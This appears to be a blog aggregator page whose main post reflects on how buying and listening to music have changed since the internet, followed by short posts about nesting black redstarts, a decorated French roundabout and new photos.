Buying music was always quite an experience. I would spend weeks, months and sometimes longer saving up to buy some new music. Whether I knew exactly what I wanted or just wanted “something else by this artist” I would spend some time browsing the racks weighing up what was the best value for my money. In the days before the internet, if you wanted to research an artist’s back catalogue, you were generally out of luck unless you had access to books about the artists. This lead to the thrill of finding a hidden gem in the racks that you didn’t know existed or had only heard rumours about. The anticipation of listening to the new music would build even more because I would have to wait until I had travelleled home before I could listen to my new purchases.

Nowadays, with the dizzying amount of music constantly pumped into our ears through the internet, radio, advertising and the plethora of styles and genres, it is difficult to sift through and find artists and music that really speak to you. Luckily, there are websites available to catalogue releases by artists so you are able to do thorough research and even preview your music before you purchase it. Of course the distribution methods have changed massively too. No longer do I have to wait until I can make it to a brick and mortar store to hand over my cash. I can now not only buy physical musical releases on CD or Vinyl online and have it delivered to my door, I can also buy digital music through iTunes, Amazon or Bandcamp or even stream the music straight to my ears through services like Spotify or Rdio. Whilst these online sales avenues are great for artists to be able to sell directly to their fans, I feel that some of the magic has been removed from the purchasing of music for me.

Listening

Listening to the music used to be an even greater event than purchasing it. After having spent the time saving up for the purchase, then the time carefully choosing the music to buy and getting it home, I would then sit myself down and listen to the music. I would immerse myself totally in the music and only listen to it (I might read the liner notes if I hadn’t exhausted them on the way home). It is difficult to imagine doing one thing for 45+ minutes without the constant interruptions from smartphones, tablet computers, games consoles and televisions these days. I can’t rememeber the last time I listened to music on good speakers or headphones (generally I listen on crappy computers speakers or to compressed audio on my iPhone through crappy headphones) without reading Twitter, replying to emails or reading copiuous amounts of information about the artists on Wikipedia. This all serves to distract from the actual enjoyment of just listening to the music.

Experience

The actual act of writing this blog post has called into sharp focus the main reason why music doesn’t seem to affect me nowadays as much as it used to - because I don’t experience it in the same way. My life has changed, I have more resposibilities and less time to just listen which makes the convenience and speed of buying digital music online much more appealing. You would think that this ‘instant music’ should be instantly satisfying but for some reason it doesn’t seem to work that way.

What changed?

I wonder if I am the only one experiencing this? My tastes in music have definitely changed a lot over the last few years, but I still find it hard to find music that I want to listen to again and again. I’m hoping I’m not alone in this, alternatively I’m hoping someone might read this and recommend some awesome music to me and cure this weird musical apathy I appear to me suffering from.

August 20, 2012 03:33 PM

On Music

Lately, (well I say lately, I think it’s been the same for a few years now) I have been finding that it is very rare that an album comes along that affects me in a way that music I heard 10 years ago seem to. That is not to say that I have not heard any music that I like in that time, it just doesn’t seem to mean as music that has been in my life for years. What I am trying to work out is if that is a reflection on the state of music, of how I experience music or just me.

Buying

Buying music was always quite an experience. I would spend weeks, months and sometimes longer saving up to buy some new music. Whether I knew exactly what I wanted or just wanted “something else by this artist” I would spend some time browsing the racks weighing up what was the best value for my money. In the days before the internet, if you wanted to research an artist’s back catalogue, you were generally out of luck unless you had access to books about the artists. This lead to the thrill of finding a hidden gem in the racks that you didn’t know existed or had only heard rumours about. The anticipation of listening to the new music would build even more because I would have to wait until I had travelleled home before I could listen to my new purchases.

Nowadays, with the dizzying amount of music constantly pumped into our ears through the internet, radio, advertising and the plethora of styles and genres, it is difficult to sift through and find artists and music that really speak to you. Luckily, there are websites available to catalogue releases by artists so you are able to do thorough research and even preview your music before you purchase it. Of course the distribution methods have changed massively too. No longer do I have to wait until I can make it to a brick and mortar store to hand over my cash. I can now not only buy physical musical releases on CD or Vinyl online and have it delivered to my door, I can also buy digital music through iTunes, Amazon or Bandcamp or even stream the music straight to my ears through services like Spotify or Rdio. Whilst these online sales avenues are great for artists to be able to sell directly to their fans, I feel that some of the magic has been removed from the purchasing of music for me.

Listening

Listening to the music used to be an even greater event than purchasing it. After having spent the time saving up for the purchase, then the time carefully choosing the music to buy and getting it home, I would then sit myself down and listen to the music. I would immerse myself totally in the music and only listen to it (I might read the liner notes if I hadn’t exhausted them on the way home). It is difficult to imagine doing one thing for 45+ minutes without the constant interruptions from smartphones, tablet computers, games consoles and televisions these days. I can’t rememeber the last time I listened to music on good speakers or headphones (generally I listen on crappy computers speakers or to compressed audio on my iPhone through crappy headphones) without reading Twitter, replying to emails or reading copiuous amounts of information about the artists on Wikipedia. This all serves to distract from the actual enjoyment of just listening to the music.

Experience

The actual act of writing this blog post has called into sharp focus the main reason why music doesn’t seem to affect me nowadays as much as it used to - because I don’t experience it in the same way. My life has changed, I have more resposibilities and less time to just listen which makes the convenience and speed of buying digital music online much more appealing. You would think that this ‘instant music’ should be instantly satisfying but for some reason it doesn’t seem to work that way.

What changed?

I wonder if I am the only one experiencing this? My tastes in music have definitely changed a lot over the last few years, but I still find it hard to find music that I want to listen to again and again. I’m hoping I’m not alone in this, alternatively I’m hoping someone might read this and recommend some awesome music to me and cure this weird musical apathy I appear to me suffering from.

August 20, 2012 03:33 PM

June 25, 2012

Elisabeth Fosbrooke-Brown (sfr)

Black redstarts

It's difficult to use the terrace for a couple of weeks, because the black redstart family is in their summer residence at the top of a column under the roof. The chicks grow very fast, and the parents have to feed them frequently; when anyone goes out on the terrace they stop the feeding process and click shrill warnings to the chicks to stay still. I worry that if we disturb them too often or for too long the chicks will starve.

Black redstarts are called rougequeue noir (black red-tail) in French, but here they are known as rossignol des murailles (nightingale of the outside walls). Pretty!

The camera needs replacing, so there are no photos of Musatelier's rossignols des murailles, but you can see what they look like on http://fr.wikipedia.org/wiki/Rougequeue_noir.

by sunflowerinrain (noreply@blogger.com) at June 25, 2012 08:02 AM

June 16, 2012

Elisabeth Fosbrooke-Brown (sfr)

Roundabout at Mirambeau

Roundabouts are taken seriously here in France. Not so much as traffic measures (though it has been known for people to be cautioned by the local gendarmes for not signalling when leaving a roundabout, and quite rightly too), but as places to ornament.

A couple of years ago the roundabout at the edge of  Mirambeau had a make-over which included an ironwork arch and a carrelet (fishing hut on stilts). Now it has a miniature vineyard as well, and roses and other plants for which this area is known.

Need a passenger to take photo!

by sunflowerinrain (noreply@blogger.com) at June 16, 2012 12:06 PM

September 04, 2006

Ashley Howes

Some new photos

Take a look at some new photos my father and I have taken. We are experimenting with our new digital SLR with a variety of lenses.

by Ashley (noreply@blogger.com) at September 04, 2006 10:42 AM

August 30, 2006

Ashley Howes

A Collection of Comments

This is a bit of fun. A collection of comments found in code. This is from The Daily WTF.

by Ashley (noreply@blogger.com) at August 30, 2006 01:13 AM